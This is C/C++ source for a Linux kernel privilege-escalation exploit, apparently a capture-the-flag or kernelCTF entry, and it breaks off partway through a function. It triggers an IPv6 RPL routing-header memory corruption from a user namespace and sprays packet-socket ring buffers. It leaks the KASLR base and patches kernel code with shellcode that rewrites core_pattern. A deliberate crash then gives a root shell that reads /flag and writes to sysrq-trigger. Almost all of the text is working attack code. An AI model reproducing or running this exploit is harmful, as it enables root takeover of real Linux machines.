#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <arpa/inet.h>
#include <err.h>
#include <errno.h>
#include <exception>
#include <fcntl.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/ip6.h>
#include <netpacket/packet.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <unistd.h>

#include <xdk/core.h>
#include <xdk/postrip.h>

INCBIN(target_db, "target_db.kxdb");
asm(".text");

#ifndef IPV6_SRCRT_TYPE_3
#define IPV6_SRCRT_TYPE_3 3
#endif
#ifndef MFD_EXEC
#define MFD_EXEC 0x0010U
#endif
#ifndef SYS_pidfd_send_signal
#define SYS_pidfd_send_signal 424
#endif
#ifndef SYS_pidfd_open
#define SYS_pidfd_open 434
#endif
#ifndef SYS_pidfd_getfd
#define SYS_pidfd_getfd 438
#endif
#ifndef TPACKET_V3
#define TPACKET_V3 2
#endif

#define SYSCHK(x)                              \
	({                                     \
		typeof(x) __res = (x);         \
		if (__res == (typeof(x))-1)    \
			err(1, "SYSCHK(" #x ")"); \
		__res;                         \
	})

#define MAX_RETRY_COUNT 100

#define PAGE_SIZE 0x1000
#define TEXT_PAGE_COUNT 16
#define PATCH_PAGE_WINDOW_OFFSET 0x1e0000ULL

#define CORE_PATTERN_PAYLOAD "|/proc/%P/fd/666"
#define SELF_COPY_MAX 0xffffffffU

#define PATCH_SIZE 72
#define PATCH_QWORDS (PATCH_SIZE / sizeof(uint64_t))
#define PATCH_CORE_PATTERN_REL32_OFF 19
#define PATCH_RET_OFF 56
#define PATCH_RET_NOP_START_OFF 57
#define PATCH_MSLEEP_REL32_OFF 66
#define CORE_PATTERN_STORE_OFFSET 24

#define IPV6_ADDR_LEN 16
#define RPL_BASE_HDR_LEN 8
#define RPL_CMPRI 5
#define RPL_CMPRE 15
#define RPL_SEGMENT_COUNT 5
#define RPL_SEGMENTS_LEFT 2
#define RPL_PAD_LEN 0
#define RPL_TRIGGER_SEGMENT_INDEX 4
#define RPL_MINIMAL_SEND_COUNT 32

#define SPRAY_PG_VEC_NUM 150
#define PGV_HOLE_COUNT 5
#define EXPLOIT_PAYLOAD_LEN 2000
#define EXPLOIT_PACKET_SEND_COUNT PGV_HOLE_COUNT
#define PGV_BLOCK_SIZE PAGE_SIZE
#define PGV_FRAME_SIZE 2048
#define PGV_RETIRE_TIMEOUT_MS 10000
#define PGV_PAGE_COUNT ((PAGE_SIZE - sizeof(uint64_t)) / sizeof(uint64_t))

#define PATCH_TRIGGER_RETRY_COUNT 20
#define PATCH_TRIGGER_RETRY_DELAY_US 100000
#define CORE_PATTERN_POLL_DELAY_US 100000
#define ATTEMPT_TIMEOUT_SEC 30

static unsigned long long xdk_off_entry_syscall_64;
static unsigned long long xdk_off_core_pattern;
static unsigned long long xdk_off_msleep;
static unsigned long long xdk_off_patch_page;

static uint8_t loopback_addr_pattern[6] = {
	0, 0, 0xff, 0xff, 0xff, 0xff,
};

static const unsigned long long text_page_signatures[TEXT_PAGE_COUNT] = {
	0xed840f0100000821,
	0xff08e9fffffff7c7,
	0x5e415d415c415dc1,
	0xffffffeac0c748ff,
	0xfffb38ae8d4902c2,
	0x243c814802c6e11c,
	0x188bb8b4c0000,
	0x4824048b48000188,
	0x417501f883410676,
	0x5bdf89480136ea3c,
	0x4818ec834853fc89,
	0x75ea394860438968,
	0xf406b8944302454,
	0xc2c74801247c8d48,
	0x2404c748c031,
	0x9090909090909090,
};

static const unsigned long long text_page_patch_offsets[TEXT_PAGE_COUNT] = {
	0xde0,
	0xbe0,
	0x860,
	0x7f0,
	0x100,
	0x6b0,
	0xd30,
	0xea0,
	0x100,
	0x1b0,
	0,
	0x610,
	0xb60,
	0x790,
	0xa20,
	0xc0,
};

static const unsigned char text_page_supported[TEXT_PAGE_COUNT] = {
	1, 1, 1, 1, 1, 1, 1, 1,
	1, 0, 0, 0, 0, 0, 0, 0,
};

static const unsigned char text_page_should_sleep[TEXT_PAGE_COUNT] = {
	1, 1, 1, 1, 1, 1, 1, 1,
	1, 0, 0, 0, 0, 0, 0, 0,
};

static const uint8_t core_pattern_patch_template[PATCH_SIZE] = {
	0x31, 0xd2, 0xb9, 0x82, 0x00, 0x00, 0xc0, 0x0f,
	0x32, 0x48, 0xc1, 0xe2, 0x20, 0x48, 0x01, 0xc2,
	0x48, 0x81, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x48,
	0x87, 0xe2, 0x68, 0x20, 0x25, 0x50, 0x00, 0x48,
	0xb8, 0x50, 0x2f, 0x66, 0x64, 0x2f, 0x36, 0x36,
	0x36, 0x50, 0x48, 0xb8, 0x7c, 0x2f, 0x70, 0x72,
	0x6f, 0x63, 0x2f, 0x25, 0x50, 0x48, 0x87, 0xe2,
	0x48, 0xc7, 0xc7, 0x00, 0x00, 0x00, 0x07, 0x48,
	0x81, 0xea, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd2,
};
static_assert(sizeof(core_pattern_patch_template) == PATCH_SIZE,
	      "unexpected patch stub length");

static unsigned char core_pattern_patch[PATCH_SIZE];
static unsigned char core_pattern_patch_ret[PATCH_SIZE];

static int spray_pg_vec_fds[SPRAY_PG_VEC_NUM];
static void *spray_pg_vec_maps[SPRAY_PG_VEC_NUM];
static int spray_cmd_pipe[2];
static int spray_status_pipe[2];
static char spray_sync_byte;

static const int pgv_hole_indices[PGV_HOLE_COUNT] = {
	55, 66, 77, 88, 99,
};

struct tpacket_req3 {
	unsigned int tp_block_size;
	unsigned int tp_block_nr;
	unsigned int tp_frame_size;
	unsigned int tp_frame_nr;
	unsigned int tp_retire_blk_tov;
	unsigned int tp_sizeof_priv;
	unsigned int tp_feature_req_word;
};

struct ipv6_rpl_sr_hdr_wire {
	uint8_t nexthdr;
	uint8_t hdrlen;
	uint8_t type;
	uint8_t segments_left;
	uint8_t cmpri_cmpre;
	uint8_t pad_res;
	uint16_t reserved1;
	uint8_t data[];
} __attribute__((packed));

static int core_pattern_is_payload(int verbose);

static void die(const char *msg)
{
	perror(msg);
	exit(1);
}

static void die_msg(const char *msg)
{
	fprintf(stderr, "%s\n", msg);
	exit(1);
}

static void write_filef(const char *path, const char *fmt, ...)
{
	char buf[256];
	va_list ap;
	int fd;
	int len;
	ssize_t nw;

	va_start(ap, fmt);
	len = vsnprintf(buf, sizeof(buf), fmt, ap);
	va_end(ap);
	if (len < 0 || (size_t)len >= sizeof(buf))
		die_msg("vsnprintf failed");

	fd = open(path, O_WRONLY | O_CLOEXEC);
	if (fd < 0)
		die(path);

	nw = write(fd, buf, (size_t)len);
	if (nw != len) {
		close(fd);
		die(path);
	}

	if (close(fd) < 0)
		die("close");
}

static void write_all_or_die(int fd, const void *buf, size_t len)
{
	if (write(fd, buf, len) != (ssize_t)len)
		die("write");
}

static void read_all_or_die(int fd, void *buf, size_t len)
{
	if (read(fd, buf, len) != (ssize_t)len)
		die("read");
}

static void sync_signal_parent(void)
{
	write_all_or_die(spray_status_pipe[1], &spray_sync_byte, 1);
}

static void sync_wait_parent(void)
{
	read_all_or_die(spray_cmd_pipe[0], &spray_sync_byte, 1);
}

static void sync_signal_child(void)
{
	write_all_or_die(spray_cmd_pipe[1], &spray_sync_byte, 1);
}

static void sync_wait_child(void)
{
	read_all_or_die(spray_status_pipe[0], &spray_sync_byte, 1);
}

static void pin_to_cpu(int cpu)
{
	cpu_set_t set;

	if (cpu < 0)
		return;

	CPU_ZERO(&set);
	CPU_SET((unsigned int)cpu, &set);
	SYSCHK(sched_setaffinity(0, sizeof(set), &set));
}

static void setup_target_offsets(Target &target)
{
	target.AddSymbol("entry_SYSCALL_64", 0x1600080ULL);
	target.AddSymbol("core_pattern", 0x2fb3440ULL);
	target.AddSymbol("patch_page", PATCH_PAGE_WINDOW_OFFSET);

	xdk_off_entry_syscall_64 = target.GetSymbolOffset("entry_SYSCALL_64");
	xdk_off_core_pattern = target.GetSymbolOffset("core_pattern");
	xdk_off_msleep = target.GetSymbolOffset("msleep");
	xdk_off_patch_page = target.GetSymbolOffset("patch_page");
}

static uint64_t leak_kaslr_base_xdk(void)
{
	try {
		static TargetDb kxdb("target_db.kxdb", target_db);
		Target target = kxdb.AutoDetectTarget();
		setup_target_offsets(target);

		uint64_t window_size = target.GetKernelPageCount();
		uint64_t base = leak_kaslr_base(window_size, 100, 3);

		printf("[.] Target: %s %s\n", target.GetDistro().c_str(),
		       target.GetReleaseName().c_str());
		printf("[.] KASLR window size: %llu pages\n",
		       (unsigned long long)window_size);
		printf("[!] Leaked KASLR base: 0x%llx\n",
		       (unsigned long long)base);
		return base;
	} catch (const std::exception &e) {
		fprintf(stderr, "[-] kernelXDK failed: %s\n", e.what());
		exit(1);
	}
}

static void payload_set_bytes(Payload &payload, size_t offset,
			      const uint8_t *src, size_t len)
{
	payload.Set(offset, (void *)src, len);
}

static void build_sleeping_core_pattern_patch(Payload &payload)
{
	payload_set_bytes(payload, 0, core_pattern_patch_template,
			  PATCH_CORE_PATTERN_REL32_OFF);
	payload.SetU32(PATCH_CORE_PATTERN_REL32_OFF,
		       (uint32_t)(xdk_off_core_pattern +
				  CORE_PATTERN_STORE_OFFSET -
				  xdk_off_entry_syscall_64));
	payload_set_bytes(payload, PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t),
			  &core_pattern_patch_template
			  [PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t)],
			  PATCH_MSLEEP_REL32_OFF -
			  (PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t)));
	payload.SetU32(PATCH_MSLEEP_REL32_OFF,
		       (uint32_t)(xdk_off_core_pattern - xdk_off_msleep));
	payload_set_bytes(payload, PATCH_MSLEEP_REL32_OFF + sizeof(uint32_t),
			  &core_pattern_patch_template
			  [PATCH_MSLEEP_REL32_OFF + sizeof(uint32_t)],
			  PATCH_SIZE -
			  (PATCH_MSLEEP_REL32_OFF + sizeof(uint32_t)));
}

static void build_returning_core_pattern_patch(Payload &payload)
{
	static const uint8_t ret_opcode = 0xc3;
	uint8_t nops[PATCH_SIZE - PATCH_RET_NOP_START_OFF];

	payload_set_bytes(payload, 0, core_pattern_patch_template,
			  PATCH_CORE_PATTERN_REL32_OFF);
	payload.SetU32(PATCH_CORE_PATTERN_REL32_OFF,
		       (uint32_t)(xdk_off_core_pattern +
				  CORE_PATTERN_STORE_OFFSET -
				  xdk_off_entry_syscall_64));
	payload_set_bytes(payload, PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t),
			  &core_pattern_patch_template
			  [PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t)],
			  PATCH_RET_OFF -
			  (PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t)));
	payload_set_bytes(payload, PATCH_RET_OFF, &ret_opcode,
			  sizeof(ret_opcode));
	memset(nops, 0x90, sizeof(nops));
	payload_set_bytes(payload, PATCH_RET_NOP_START_OFF, nops, sizeof(nops));
}

static void rip_build_core_pattern_patches(void)
{
	Payload sleeping_patch(PATCH_SIZE);
	Payload returning_patch(PATCH_SIZE);
	std::vector<uint8_t> sleeping_patch_data;
	std::vector<uint8_t> returning_patch_data;

	build_sleeping_core_pattern_patch(sleeping_patch);
	build_returning_core_pattern_patch(returning_patch);

	sleeping_patch_data = sleeping_patch.GetData();
	returning_patch_data = returning_patch.GetData();
	memcpy(core_pattern_patch, sleeping_patch_data.data(), PATCH_SIZE);
	memcpy(core_pattern_patch_ret, returning_patch_data.data(), PATCH_SIZE);
}

static void rip_trigger_module_autoload(void)
{
	for (int family = 40; family < 56; family++) {
		int fd = socket(family, SOCK_STREAM | SOCK_CLOEXEC, 0);

		if (fd >= 0)
			close(fd);
	}
}

static void rip_trigger_workqueue_activity(void)
{
	rip_trigger_module_autoload();
	sync();
}

static void rip_trigger_patch_page(int page)
{
	int pidfd;
	struct rlimit oldlim;
	struct rusage ru;
	struct sysinfo si;
	struct utsname u;

	switch (page) {
	case 0:
		pidfd = (int)syscall(SYS_pidfd_open, getpid(), 0);
		if (pidfd >= 0) {
			(void)syscall(SYS_pidfd_send_signal, pidfd, 0,
				      (siginfo_t *)NULL, 0);
			close(pidfd);
		}
		break;
	case 1:
		(void)umask(022);
		break;
	case 2:
		(void)uname(&u);
		break;
	case 3:
		(void)sysinfo(&si);
		break;
	case 4:
		(void)setpriority(PRIO_PROCESS, 0, 10);
		break;
	case 5:
		(void)syscall(SYS_prlimit64, 0, RLIMIT_NOFILE, (void *)NULL,
			      &oldlim);
		break;
	case 6:
		if (setuid(getuid()) < 0)
			break;
		break;
	case 7:
		(void)getrusage(RUSAGE_SELF, &ru);
		break;
	case 8:
		(void)prctl(PR_SET_NAME, "hit_syscalls", 0, 0, 0);
		break;
	case 9:
	case 11:
	case 12:
	case 13:
	case 14:
	case 15:
		rip_trigger_workqueue_activity();
		break;
	}
}

static void spray_packet_rx_ring_init(int fd, unsigned int block_size,
				      unsigned int frame_size,
				      unsigned int block_nr,
				      unsigned int sizeof_priv,
				      unsigned int timeout)
{
	int version = TPACKET_V3;
	struct tpacket_req3 req;

	SYSCHK(setsockopt(fd, SOL_PACKET, PACKET_VERSION, &version,
			  sizeof(version)));

	memset(&req, 0, sizeof(req));
	req.tp_block_size = block_size;
	req.tp_frame_size = frame_size;
	req.tp_block_nr = block_nr;
	req.tp_frame_nr = (block_size * block_nr) / frame_size;
	req.tp_retire_blk_tov = timeout;
	req.tp_sizeof_priv = sizeof_priv;

	SYSCHK(setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)));
}

static int spray_packet_socket_setup(unsigned int block_size,
				     unsigned int frame_size,
				     unsigned int block_nr,
				     unsigned int sizeof_priv,
				     unsigned int timeout)
{
	int fd = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)));
	struct sockaddr_ll sa;

	spray_packet_rx_ring_init(fd, block_size, frame_size, block_nr,
				  sizeof_priv, timeout);

	memset(&sa, 0, sizeof(sa));
	sa.sll_family = PF_PACKET;
	sa.sll_protocol = htons(ETH_P_ALL);
	sa.sll_ifindex = if_nametoindex("lo");
	SYSCHK(bind(fd, (struct sockaddr *)&sa, sizeof(sa)));
	return fd;
}

static void rip_patch_text_page(uint64_t *mapped_page, int page)
{
	const unsigned char *patch = text_page_should_sleep[page] ?
					    core_pattern_patch :
					    core_pattern_patch_ret;
	size_t qword_offset = text_page_patch_offsets[page] / sizeof(uint64_t);

	printf("[+] Found a match at %d!\n", page);
	if (!text_page_supported[page]) {
		puts("[-] unexpected text-page match, retrying");
		return;
	}

	printf("Patching at offset %llu\n", text_page_patch_offsets[page]);
	for (size_t i = 0; i < PATCH_QWORDS; i++) {
		uint64_t patch_qword;

		memcpy(&patch_qword,
		       &patch[i * sizeof(patch_qword)],
		       sizeof(patch_qword));
		mapped_page[qword_offset + i] = patch_qword;
	}

	for (int i = 0; i < PATCH_TRIGGER_RETRY_COUNT; i++) {
		rip_trigger_patch_page(page);
		if (!text_page_should_sleep[page] &&
		    core_pattern_is_payload(0))
			break;
		usleep(PATCH_TRIGGER_RETRY_DELAY_US);
	}
	printf("Send win to parent...\n");
	sleep(12);
}

static void spray_map_and_patch_pg_vec(void)
{
	for (int i = 0; i < SPRAY_PG_VEC_NUM; i++) {
		uint64_t *mapped_page;

		if (!spray_pg_vec_fds[i])
			continue;

		spray_pg_vec_maps[i] = mmap(NULL, PGV_PAGE_COUNT * PAGE_SIZE,
					    PROT_READ | PROT_WRITE, MAP_SHARED,
					    spray_pg_vec_fds[i], 0);
		if (spray_pg_vec_maps[i] == MAP_FAILED)
			die("mmap(packet rx ring)");

		mapped_page = (uint64_t *)((char *)spray_pg_vec_maps[i] +
					   (PGV_PAGE_COUNT - 1) * PAGE_SIZE);
		for (int page = 0; page < TEXT_PAGE_COUNT; page++) {
			if (mapped_page[0] == text_page_signatures[page])
				rip_patch_text_page(mapped_page, page);
		}
	}
}

static void spray_pg_vec_child(void)
{
	pin_to_cpu(0);

	sync_wait_parent();
	for (int i = 0; i < SPRAY_PG_VEC_NUM; i++) {
		spray_pg_vec_fds[i] = spray_packet_socket_setup(
			PGV_BLOCK_SIZE, PGV_FRAME_SIZE, PGV_PAGE_COUNT, 0,
			PGV_RETIRE_TIMEOUT_MS);
	}
	puts("pgv init done.");
	sync_signal_parent();

	sync_wait_parent();
	for (int i = 0; i < PGV_HOLE_COUNT; i++) {
		int idx = pgv_hole_indices[i];

		close(spray_pg_vec_fds[idx]);
		spray_pg_vec_fds[idx] = 0;
	}
	puts("pgv free done.");
	sync_signal_parent();

	sync_wait_parent();
	spray_map_and_patch_pg_vec();
	puts("pgv spray done");
	sync_signal_parent();
	_exit(0);
}

static void setup_loopback_up(void)
{
	int fd;
	struct ifreq ifr;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die("socket(AF_INET, SOCK_DGRAM)");

	memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);

	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) {
		close(fd);
		die("ioctl(SIOCGIFFLAGS lo)");
	}

	ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) {
		close(fd);
		die("ioctl(SIOCSIFFLAGS lo)");
	}

	if (close(fd) < 0)
		die("close");
}

static void netlink_addattr_l(struct nlmsghdr *nlh, size_t maxlen, int type,
			      const void *data, size_t alen)
{
	const size_t len = RTA_LENGTH(alen);
	const size_t newlen = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len);
	struct rtattr *rta;

	if (newlen > maxlen)
		die_msg("netlink attribute overflow");

	rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len = (unsigned short)len;
	if (alen)
		memcpy(RTA_DATA(rta), data, alen);
	nlh->nlmsg_len = (unsigned int)newlen;
}

static void setup_loopback_hwaddr_from_pattern(void)
{
	enum { LO_ADDR_LEN = 6 };
	enum { ACK_BUF_LEN = 4096 };
	uint8_t lo_addr[LO_ADDR_LEN];
	uint8_t ackbuf[ACK_BUF_LEN];
	struct sockaddr_nl nladdr;
	struct nlmsghdr *h;
	struct nlmsgerr *err;
	int fd;
	ssize_t nread;
	size_t rem;
	struct {
		struct nlmsghdr nlh;
		struct ifinfomsg ifi;
		uint8_t attrbuf[64];
	} req;

	for (size_t i = 0; i < LO_ADDR_LEN; i++) {
		lo_addr[i] =
			loopback_addr_pattern[i % sizeof(loopback_addr_pattern)];
	}

	/*
	 * Netdevices reject multicast source MACs; keep the selected target
	 * bytes but force a unicast, locally administered first octet.
	 */
	lo_addr[0] = (uint8_t)((lo_addr[0] & 0xfeu) | 0x02u);

	fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);
	if (fd < 0)
		die("socket(AF_NETLINK, NETLINK_ROUTE)");

	memset(&req, 0, sizeof(req));
	req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req.ifi));
	req.nlh.nlmsg_type = RTM_NEWLINK;
	req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	req.nlh.nlmsg_seq = 1;
	req.ifi.ifi_family = AF_UNSPEC;
	req.ifi.ifi_index = (int)if_nametoindex("lo");
	if (req.ifi.ifi_index <= 0) {
		close(fd);
		die_msg("if_nametoindex(lo) failed");
	}

	netlink_addattr_l(&req.nlh, sizeof(req), IFLA_ADDRESS, lo_addr,
			  LO_ADDR_LEN);

	memset(&nladdr, 0, sizeof(nladdr));
	nladdr.nl_family = AF_NETLINK;
	if (sendto(fd, &req, req.nlh.nlmsg_len, 0,
		   (struct sockaddr *)&nladdr, sizeof(nladdr)) < 0) {
		close(fd);
		die("sendto(RTM_NEWLINK)");
	}

	nread = recv(fd, ackbuf, sizeof(ackbuf), 0);
	if (nread < 0) {
		close(fd);
		die("recv(rtnetlink ack)");
	}

	rem = (size_t)nread;
	for (h = (struct nlmsghdr *)ackbuf; NLMSG_OK(h, rem);
	     h = NLMSG_NEXT(h, rem)) {
		if (h->nlmsg_type != NLMSG_ERROR)
			continue;

		err = (struct nlmsgerr *)NLMSG_DATA(h);
		if (!err) {
			close(fd);
			die_msg("malformed rtnetlink ack");
		}
		if (err->error == 0)
			goto out;

		errno = -err->error;
		close(fd);
		die("RTM_NEWLINK IFLA_ADDRESS");
	}

	close(fd);
	die_msg("missing rtnetlink ack");

out:
	if (close(fd) < 0)
		die("close");
}

static void setup_usernet_sandbox(void)
{
	uid_t uid = getuid();
	gid_t gid = getgid();

	if (unshare(CLONE_NEWUSER) < 0)
		die("unshare(CLONE_NEWUSER)");

	/* Required on modern kernels before writing gid_map as an unprivileged user. */
	write_filef("/proc/self/setgroups", "deny\n");
	write_filef("/proc/self/uid_map", "0 %u 1\n", uid);
	write_filef("/proc/self/gid_map", "0 %u 1\n", gid);

	if (setresgid(0, 0, 0) < 0)
		die("setresgid");
	if (setresuid(0, 0, 0) < 0)
		die("setresuid");

	if (unshare(CLONE_NEWNET) < 0)
		die("unshare(CLONE_NEWNET)");

	setup_loopback_hwaddr_from_pattern();
	setup_loopback_up();

	/* Enable RPL receive handling in this new netns. */
	write_filef("/proc/sys/net/ipv6/conf/all/rpl_seg_enabled", "1\n");
	write_filef("/proc/sys/net/ipv6/conf/lo/rpl_seg_enabled", "1\n");
}

static size_t vuln_old_rpl_srh_len(void)
{
	return RPL_BASE_HDR_LEN +
	       RPL_SEGMENT_COUNT * (IPV6_ADDR_LEN - RPL_CMPRI) +
	       (IPV6_ADDR_LEN - RPL_CMPRE) + RPL_PAD_LEN;
}

static void vuln_build_rpl_packet(uint8_t *packet, size_t packet_len)
{
	const size_t old_rh_len = vuln_old_rpl_srh_len();
	struct ip6_hdr *ip6;
	struct ipv6_rpl_sr_hdr_wire *rh;

	if (packet_len != sizeof(*ip6) + old_rh_len) {
		fprintf(stderr, "unexpected packet_len=%zu\n", packet_len);
		exit(1);
	}

	memset(packet, 0, packet_len);

	ip6 = (struct ip6_hdr *)packet;
	ip6->ip6_flow = htonl(6u << 28);
	ip6->ip6_plen = htons((uint16_t)old_rh_len);
	ip6->ip6_nxt = IPPROTO_ROUTING;
	ip6->ip6_hlim = 64;
	if (inet_pton(AF_INET6, "::1", &ip6->ip6_src) != 1)
		die("inet_pton src");
	if (inet_pton(AF_INET6, "::1", &ip6->ip6_dst) != 1)
		die("inet_pton dst");

	rh = (struct ipv6_rpl_sr_hdr_wire *)(packet + sizeof(*ip6));
	rh->nexthdr = IPPROTO_NONE;
	rh->hdrlen = (uint8_t)((old_rh_len >> 3) - 1);
	rh->type = IPV6_SRCRT_TYPE_3;
	rh->segments_left = RPL_SEGMENTS_LEFT;
	rh->cmpri_cmpre = (RPL_CMPRI << 4) | RPL_CMPRE;
	rh->pad_res = RPL_PAD_LEN << 4;
	rh->reserved1 = 0;

	for (int seg_idx = 0; seg_idx < RPL_SEGMENT_COUNT; seg_idx++) {
		uint8_t *seg =
			&rh->data[seg_idx * (IPV6_ADDR_LEN - RPL_CMPRI)];

		seg[0] = (uint8_t)(0x10 + seg_idx);
		for (int byte_idx = 1; byte_idx < IPV6_ADDR_LEN - RPL_CMPRI;
		     byte_idx++) {
			seg[byte_idx] =
				(uint8_t)(seg_idx * 0x11 + byte_idx);
		}
	}

	/* Force CmprE to drop after the segment swap/recompression. */
	rh->data[RPL_TRIGGER_SEGMENT_INDEX * (IPV6_ADDR_LEN - RPL_CMPRI)] =
		0x44;
	rh->data[RPL_SEGMENT_COUNT * (IPV6_ADDR_LEN - RPL_CMPRI)] = 0x77;
}

static int vuln_open_raw_ipv6_socket(void)
{
	int one = 1;
	int fd = SYSCHK(socket(AF_INET6, SOCK_RAW, IPPROTO_RAW));

	SYSCHK(setsockopt(fd, IPPROTO_IPV6, IPV6_HDRINCL, &one, sizeof(one)));
	return fd;
}

static void vuln_init_loopback_sockaddr(struct sockaddr_in6 *sin6)
{
	memset(sin6, 0, sizeof(*sin6));
	sin6->sin6_family = AF_INET6;
	if (inet_pton(AF_INET6, "::1", &sin6->sin6_addr) != 1)
		die("inet_pton sendto");
}

static int vuln_trigger_minimal(void)
{
	const size_t packet_len = sizeof(struct ip6_hdr) + vuln_old_rpl_srh_len();
	struct sockaddr_in6 sin6;
	uint8_t *packet;
	int fd;

	pin_to_cpu(0);
	setup_usernet_sandbox();

	packet = (uint8_t *)calloc(1, packet_len);
	if (!packet)
		die("calloc");
	vuln_build_rpl_packet(packet, packet_len);

	fd = vuln_open_raw_ipv6_socket();
	vuln_init_loopback_sockaddr(&sin6);

	for (int i = 0; i < RPL_MINIMAL_SEND_COUNT; i++) {
		SYSCHK(sendto(fd, packet, packet_len, 0,
			      (struct sockaddr *)&sin6, sizeof(sin6)));
	}

	close(fd);
	free(packet);
	fprintf(stderr, "sent %zu bytes x %d\n", packet_len,
		RPL_MINIMAL_SEND_COUNT);
	return 0;
}

static void vuln_build_pgvec_overwrite_packet(uint8_t *packet, size_t packet_len)
{
	const size_t old_rh_len = vuln_old_rpl_srh_len();
	struct ip6_hdr *ip6;

	if (packet_len != sizeof(*ip6) + old_rh_len + EXPLOIT_PAYLOAD_LEN)
		die_msg("unexpected pgvec-overwrite packet length");

	vuln_build_rpl_packet(packet, sizeof(*ip6) + old_rh_len);

	ip6 = (struct ip6_hdr *)packet;
	ip6->ip6_plen = htons((uint16_t)(old_rh_len + EXPLOIT_PAYLOAD_LEN));
	for (int i = 0; i < EXPLOIT_PAYLOAD_LEN; i++) {
		packet[sizeof(*ip6) + old_rh_len + i] =
			(uint8_t)(0xa0 + (i & 0x3f));
	}

}

static int vuln_trigger_pgvec_overwrite_attempt(void)
{
	const size_t old_rh_len = vuln_old_rpl_srh_len();
	const size_t packet_len = sizeof(struct ip6_hdr) + old_rh_len +
				  EXPLOIT_PAYLOAD_LEN;
	struct sockaddr_in6 sin6;
	uint8_t *packet;
	int fd;
	int child_pid;

	pin_to_cpu(0);
	setup_usernet_sandbox();

	packet = (uint8_t *)calloc(1, packet_len);
	if (!packet)
		die("calloc");
	vuln_build_pgvec_overwrite_packet(packet, packet_len);

	fd = vuln_open_raw_ipv6_socket();
	vuln_init_loopback_sockaddr(&sin6);

	SYSCHK(pipe(spray_cmd_pipe));
	SYSCHK(pipe(spray_status_pipe));
	child_pid = SYSCHK(fork());
	if (child_pid == 0)
		spray_pg_vec_child();

	sync_signal_child();
	sync_wait_child();

	puts("Press Enter to send packets");
	sync_signal_child();
	sync_wait_child();

	for (int i = 0; i < EXPLOIT_PACKET_SEND_COUNT; i++) {
		SYSCHK(sendto(fd, packet, packet_len, 0,
			      (struct sockaddr *)&sin6, sizeof(sin6)));
	}

	sleep(1);

	sync_signal_child();
	sync_wait_child();
	puts("Done.");

	close(fd);
	free(packet);
	return 0;
}

static int core_pattern_is_payload(int verbose)
{
	char buf[0x100] = {};
	int core = open("/proc/sys/kernel/core_pattern", O_RDONLY);
	ssize_t nread;

	if (core < 0)
		return 0;

	nread = read(core, buf, sizeof(buf) - 1);
	close(core);
	if (nread < 0)
		return 0;
	if (verbose)
		puts(buf);

	return strncmp(buf, CORE_PATTERN_PAYLOAD,
		       strlen(CORE_PATTERN_PAYLOAD)) == 0;
}

static void setup_text_target_mac_bytes(unsigned long long base)
{
	unsigned long long target = base + xdk_off_patch_page;

	/*
	 * The MAC rebuild overwrites bytes 2..7 of pg_vec[510].buffer. Bytes
	 * 0..1 are preserved, so only target bits 16..31 are selected here.
	 */
	loopback_addr_pattern[0] = (uint8_t)((target >> 16) & 0xff);
	loopback_addr_pattern[1] = (uint8_t)((target >> 24) & 0xff);
	printf("target: %llx\n", target);
}

static int core_pattern_helper_main(const char *pid_arg)
{
	int pid = (int)strtoull(pid_arg, NULL, 10);
	int pidfd = syscall(SYS_pidfd_open, pid, 0);
	int stdinfd = syscall(SYS_pidfd_getfd, pidfd, STDIN_FILENO, 0);
	int stdoutfd = syscall(SYS_pidfd_getfd, pidfd, STDOUT_FILENO, 0);
	int stderrfd = syscall(SYS_pidfd_getfd, pidfd, STDERR_FILENO, 0);
	int status;

	dup2(stdinfd, STDIN_FILENO);
	dup2(stdoutfd, STDOUT_FILENO);
	dup2(stderrfd, STDERR_FILENO);

	status = system("cat /flag;cat /flag");
	(void)status;
	status = system("whoami;id");
	(void)status;
	status = system("cat /flag;echo o>/proc/sysrq-trigger");
	(void)status;
	execlp("sh", "sh", NULL);
	return 0;
}

static void core_pattern_waiter_child(void)
{
	int memfd;
	int self_exe_fd;

	pin_to_cpu(1);
	while (!core_pattern_is_payload(0))
		usleep(CORE_PATTERN_POLL_DELAY_US);

	puts("[+] Ok lets finish it");
	core_pattern_is_payload(1);
	sleep(1);
	setsid();

	memfd = SYSCHK(memfd_create("", MFD_EXEC));
	self_exe_fd = SYSCHK(open("/proc/self/exe", O_RDONLY));
	SYSCHK(sendfile(memfd, self_exe_fd, 0, SELF_COPY_MAX));
	close(self_exe_fd);

	dup2(memfd, 666);
	close(memfd);
	puts("Root shell !!");

	/* Crash intentionally so core_pattern executes the fd 666 helper. */
	*(volatile size_t *)NULL = 0;
}

static void stop_waiter(pid_t pid)
{
	if (pid <= 0)
		return;

